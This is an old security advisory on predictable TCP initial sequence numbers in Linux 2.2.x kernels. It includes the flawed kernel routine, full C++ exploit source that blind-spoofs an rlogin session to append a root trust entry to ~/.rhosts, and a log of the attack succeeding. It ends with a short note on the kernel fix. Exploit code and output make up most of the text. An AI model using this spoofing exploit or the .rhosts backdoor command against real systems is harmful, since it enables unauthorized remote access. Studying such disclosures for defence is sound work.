COMMAND

    ISN (kernel)

SYSTEMS AFFECTED

    Linux Kernel 2.2.x (2.3.x?)

PROBLEM

    Following is based on TESO  Security Advisory.  A weakness  within
    the TCP  stack in  Linux 2.2.x  kernels has  been discovered.  The
    vulnerability makes it possible to "blind-spoof" TCP  connections.
    It's  therefore  possible  for  an  attacker  to  initiate  a  TCP
    connection  from  an  arbitrary  non  existing  or unresponding IP
    source  address,  exploiting  IP  address  based  access   control
    mechanisms.  Linux 2.0.x  kernels were tested against  this attack
    and found not to  be vulnerable in any  case.  In test  situations
    it was  noticed that  it doesn't  seem to  matter whether  the TCP
    syncookie functionality  was enabled  or not  (enabled within  the
    kernel and activated through the proc filesystem options).

    This is the beginning of a log of a successfully mounted blind TCP
    spoofing  attack  agains  a  Linux  2.2.12 system. (tcpdump output
    formatted for better readability)

    16:23:02.727540 attacker.522  > victim.ssh  : S  446679473: 446679473(0)
    16:23:02.728371 victim.ssh    > attacker.522: S 3929852318:3929852318(0)
    16:23:02.734448 11.11.11.11.522 > victim.ssh: S  446679473: 446679473(0)
    16:23:02.734599 victim.ssh > 11.11.11.11.522: S 3929859164:3929859164(0)
    16:23:03.014941 attacker.522  >   victim.ssh: R  446679474: 446679474(0)
    16:23:05.983368 victim.ssh > 11.11.11.11.522: S 3929859164:3929859164(0)
    16:23:06.473192 11.11.11.11.522 > victim.ssh: . ack 3929855318
    16:23:06.473427 victim.ssh > 11.11.11.11.522: R 3929855318:3929855318(0)
    16:23:06.554958 11.11.11.11.522 > victim.ssh: . ack 3929855319
    16:23:06.555119 victim.ssh > 11.11.11.11.522: R 3929855319:3929855319(0)
    16:23:06.637731 11.11.11.11.522 > victim.ssh: . ack 3929855320
    16:23:06.637909 victim.ssh > 11.11.11.11.522: R 3929855320:3929855320(0)
    ...

    The first ISN of the victim's host is 3929852318, which is  within
    a SYNACK packet to the attackers host.  This is unspoofed and  can
    be easily snagged by the attacker.  At the same time the  attacker
    sent out  the first  unspoofed SYN  packet he  sent a  spoofed SYN
    packet  from  11.11.11.11  too.  This  packet  is  answered by the
    victims  host  too  with  the  ISN  of 3929859164.  The difference
    between  the  first  visible  ISN  and  the  second  ISN  is  only
    (3929859164-3929852318) = 6846.

    Please  notice  that  all  TCP  and  IP  parameters of the spoofed
    packet, except for the  IP source address are  the same as of  the
    unspoofed  packet.  This  is  important  (see  below).  This small
    differences  within  the  initial  TCP  sequence  number  (ISN) is
    exploitable. In  other tests,  where both  hosts were  unlagged we
    even had differences below 500 sometimes.

    Testing team manageded to successfully blind spoof TCP connections
    on  different  Linux  2.2.x  systems,  that  is  reaching  the TCP
    "ESTABLISHED" state without being  able to sniff the  victim host.
    By sending packets from a trusted source address, attackers  could
    possibly  bypass   address  based   authentication  and   security
    mechanisms.  There have  been similiar exploiting technics,  aimed
    especially at r* and NFS  services, in the past that  demonstrated
    the security impact of weak ISNs very well.

    The problem relies on a implementation flaw within the random  ISN
    algorithm  in   the  Linux   kernel.    The  problem   is   within
    drivers/char/random.c, line 1684:

        __u32 secure_tcp_sequence_number(__u32 saddr, __u32 daddr,
                                         __u16 sport, __u16 dport)
        {
                ...
                static __u32    secret[12];
                ...
                secret[0]=saddr;
                secret[1]=daddr;
                secret[2]=(sport << 16) + dport;

                seq = (halfMD4Transform(secret+8, secret) &
                       ((1<<HASH_BITS)-1)) + count;
                ...
        }

    As already  said, in  spoofed TCP  SYN packet  only the  IP source
    address differs, that is only  secret[0], so of 12*4 random  bytes
    used to  create the  sequence number  from, only  4 bytes  differ.
    Obviously the hash created by halfMD4Transform has similarities if
    the source and destination  ports and the destination  address are
    the same.   It seems that  the src-adress is  least-significant to
    the above  MD4 algorithm.   Changing the  source-ports too,  makes
    the 2 ISNs more differ.  Due to the short gap of time, the last

        seq += tv.tv_usec + tv.tv_sec*1000000;

    is useless. This may be the reason why this bug may have  survived
    long:   In  any  real  network  situation  it is uncommon that the
    source  and  destination   ports  are  equal   in  two   different
    connections  on  one  host.   Further  analyzation  of  the   hash
    algorithm in this  routine may result  in a better  ISN prediction
    than the one we use (range prediction).

    The bugdiscovery and the exploit is due to Stealth and S. Krahmer.
    The  exploit  needs  libUSI++  installed,  which  can  be obtained
    through:

        http://www.cs.uni-potsdam.de/homepages/students/linuxer/

    The exploit is available from

        http://teso.scene.at/
        http://www.cs.uni-potsdam.de/homepages/students/linuxer/

    Here's the copy:

    /*** Exploit for the 2.2 linux-kernel TCP/IP weakness.
     *** (C) 1999 by S. Krahmer.
     *** THERE IS ABSOLUTELY NO WARRANTY. YOU USE IT AT YOUR OWN RSIK!
     *** THIS PROGRAM IS LICESED UNDER THE GPL and belongs to a security-
     *** advisory of team teso. You should get the full advisory with paper
     *** on either
     *** http://www.cs.uni-potsdam.de/homepages/students/linuxer or
     *** http://teso.scene.at
     ***
     *** The bugdiscovery and the exploit is due to:
     ***
     *** Stealth	http://www.kalug.lug.net/stealth
     *** S. Krahmer http://www.cs.uni-potsdam.de/homepages/students/linxuer
     ***
     *** c++ blindSpoof.cc -lusi++ -lpcap	(this is LINUX source!)
     *** Libusi++ is available on my homepage.
     *** Achtung: Gehen Sie nicht in den 100 Meilen tiefen Wald! ;-)
     ***/
    #include <stdio.h>
    #include <iostream>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <signal.h>
    #include <usi++/usi++.h>
    
    #define XPORT 513
    
    // may be changed, my best results were around 2000,
    // but also diffs of > 5000 can happen :)
    // change it it really not works
    #define MAXPACK 3000
    
    // define this if you want to exploit rlogind
    // if not, you will just spoof a connection to XPORT
    #define EXPLOIT_RLOGIND
    
    // uses eth0 for packet-capturing!
    TCP *pingVictum(char *, char *, char *);
    int printInfo(TCP *);
    bool wrongPacket(TCP *, TCP *);
    
    int main(int argc, char **argv)
    {
	    // yes, script-kidz! this is hardcoded to prevent you from usage.
	    const char *remoteUser = "stealth",
	               *localUser  = "stealth",
		       *command    = "echo liane root>>~/.rhosts\n";
	    char sbuf[1000];
    
	    if (argc < 4) {
		    printf("Usage %s [destination-IP] [source-IP] [spoofed-IP]\n", argv[0]);
		    exit(1);
	    }
	    cout<<"blindSpoof-exploit by S. Krahmer\n"
	          "http://www.cs.uni-potsdam.de/homepages/students/linuxer\n\n";
	    // would be connect()
       	    TCP *conn = pingVictum(argv[1], argv[2], argv[3]);
    
    #ifdef EXPLOIT_RLOGIND
	    conn->set_flags(0);
	    sprintf(sbuf, "\0");
	    conn->sendpack(sbuf, 1);
	    sleep(1);
    
	    cout<<"Sending local username: "<<localUser<<endl;
    
	    // send local username
	    conn->set_seq(conn->get_seq() + 1);
	    memset(sbuf, 0, 1000);
	    snprintf(sbuf, sizeof(sbuf), "%s\0", localUser);
	    conn->sendpack(sbuf, strlen(sbuf) + 1);
    
	    // we don't know about the lag, so i hope that 7 in sec.
	    // the victum has sent an ACK
	    sleep(7);
    
	    cout<<"Sending remote username: "<<remoteUser<<endl;
    
	    // send remote username
	    conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
	    memset(sbuf, 0, sizeof(sbuf));
	    snprintf(sbuf, sizeof(sbuf), "%s\0", remoteUser);
	    conn->sendpack(sbuf, strlen(sbuf) + 1);
	    sleep(7);
    
	    cout<<"Sending terminal-type and speed.\n";
	    conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
	    memset(sbuf, 0, sizeof(sbuf));
	    snprintf(sbuf, sizeof(sbuf), "%s\0", "linux/38400");
	    conn->sendpack(sbuf, strlen(sbuf) + 1);
	    sleep(7);
    
    
	    cout<<"Sending command: "<<command<<endl;
	    conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
	    memset(sbuf, 0, sizeof(sbuf));
	    snprintf(sbuf, sizeof(sbuf), "%s\0", command);
	    conn->sendpack(sbuf, strlen(sbuf) + 1);
    #else
	    cout<<"Connection to port "<<XPORT<<" should be established.\n";
    #endif
	    delete conn;
	    return 0;
    }
    
    /* Spoof a connection. */
    TCP *pingVictum(char *host, char *src, char *spoofed)
    {
	    char buf[100];
            TCP *victumLow = new TCP(host),
	        *victumSpoofed = new TCP(host),
	        *sn = new TCP(host);
            int myISN = rand(), sport = 512 + rand()%512;
    
            sn->init_device("eth0", 1, 500);
    
            victumLow->set_flags(TH_SYN);
     	    victumLow->set_dstport(XPORT);	// rlogin
            victumLow->set_srcport(sport);	// from a privileged port
            victumLow->set_src(src);
    	    victumLow->set_seq(myISN);
    
            victumSpoofed->set_flags(TH_SYN);
     	    victumSpoofed->set_dstport(XPORT);
            victumSpoofed->set_srcport(sport);
            victumSpoofed->set_src(spoofed);
	    victumSpoofed->set_seq(myISN);		// we must save the ISN
    
	    // send SYN to get low end of ISN
	    victumLow->sendpack("");
    
	    // send spoofed SYN
            victumSpoofed->sendpack("");
    
	    cout<<"Using sourceport "<<victumSpoofed->get_srcport()<<endl;
    
	    // wait for SYN/ACK of low packet
	    while (wrongPacket(sn, victumLow)) {
           	    sn->sniffpack(buf, 100);
                    printf("%s:%d -> %s:%d ", sn->get_src(1), sn->get_srcport(),
		                              sn->get_dst(1), sn->get_dstport());
                    printInfo(sn);
            }
	    int lowISN = sn->get_seq();
	    sleep(2);
    
	    // NOTE! Even if we sent the SYN before the spoofed SYN, the
	    // spoofed SYN can arrive first, due to routing reasons.
	    // Althought this is NOT very likely, we have to keep it in mind.
	    cout<<"Low end: "<<(unsigned)lowISN<<"\n";
            victumSpoofed->set_flags(TH_ACK);
    	    victumSpoofed->set_seq(myISN + 1);
    
	    //
            for (int i = lowISN; i < lowISN + MAXPACK; i++) {
                    victumSpoofed->set_ack(i);
                    victumSpoofed->sendpack("");
		    printf("%u\r", i); fflush(stdout);
		    // maybe you have to place a usleep() here, depends on
		    // your devices
            }
	    cout<<endl;
	    delete sn;
            delete victumLow;
    
	    // from now, the connection should be established!
	    return victumSpoofed;
    }
    
    
    // give out some infos about the received packet
    int printInfo(TCP* r)
    {
	    cout<<"[flags: ";
	    if (r->get_flags() & TH_FIN)
		    cout<<"FIN ";
	    if (r->get_flags() & TH_SYN)
		    cout<<"SYN ";
	    if (r->get_flags() & TH_RST)
		    cout<<"RST ";
	    if (r->get_flags() & TH_PUSH)
		    cout<<"PUSH ";
	    if (r->get_flags() & TH_ACK)
		    cout<<"ACK ";
	    if (r->get_flags() & TH_URG)
		    cout<<"URG ";
	    cout<<"] [ACK: "<<r->get_ack()<<"] [SEQ: "<<r->get_seq()<<"]"<<endl;
	    return 0;
    }
    
    /* returns true is packet is WRONG
     */
    bool wrongPacket(TCP *p1, TCP *p2)
    {
   	    if (p1->get_src() != p2->get_dst())
           	    return true;
            if (p1->get_dst() != p2->get_src())
           	    return true;
            if (p1->get_dstport() != p2->get_srcport())
           	    return true;
            if (p1->get_srcport() != p2->get_dstport())
           	    return true;
            if (p1->get_ack() != (p2->get_seq() + 1))
           	    return true;
            return false;
    }

    And here's the log:

    [root@liane /root]# rlogin -l stealth lucifer
    Password:
    Password:
    ^D
    
    Login incorrect
    rlogin: connection closed.
    [root@liane /root]# !c+
    c++ blindSpoof.cc  -lusi++ -lpcap
    [root@liane /root]# ./a.out lucifer liane alice
    blindSpoof-exploit by S. Krahmer
    http://www.cs.uni-potsdam.de/homepages/students/linxuer
    
    Using sourceport 996
    liane.c-skills.de:996 -> lucifer.c-skills.de:513 [flags: SYN ] [ACK: 1709299065] [SEQ: 642221920]
    alice:996 -> lucifer.c-skills.de:513 [flags: SYN ] [ACK: 1709299065] [SEQ: 642221920]
    lucifer.c-skills.de:513 -> liane.c-skills.de:996 [flags: SYN ACK ] [ACK: 642221921] [SEQ: 3072739429]
    Low end: 3072739429
    3072742428
    Sending local username: stealth
    Sending remote username: stealth
    Sending terminal-type and speed.
    Sending command: echo liane root>>~/.rhosts
    
    
    [root@liane /root]# rlogin -l stealth lucifer
    Last login: Sat Sep 25 16:17:50 from alice
    You have mail.
    lucifer:[stealth]>

SOLUTION
    
    This  vulnerability  is  fixed  in  kernels 2.2.13pre13 and later.
    Hopefully  2.2.13  will  be  released  shortly and/or the relevant
    patch from  pre13 will  be released  as an  erratum versus 2.2.12.
    There was a "fix" posted  to the kernel mailing list  which solves
    the problem. For those who do not wish to use 2.2.13preX this  can
    be solution.  It's located at:

        http://kernelnotes.org/lnxlists/linux-kernel/lk_9909_04/msg00664.html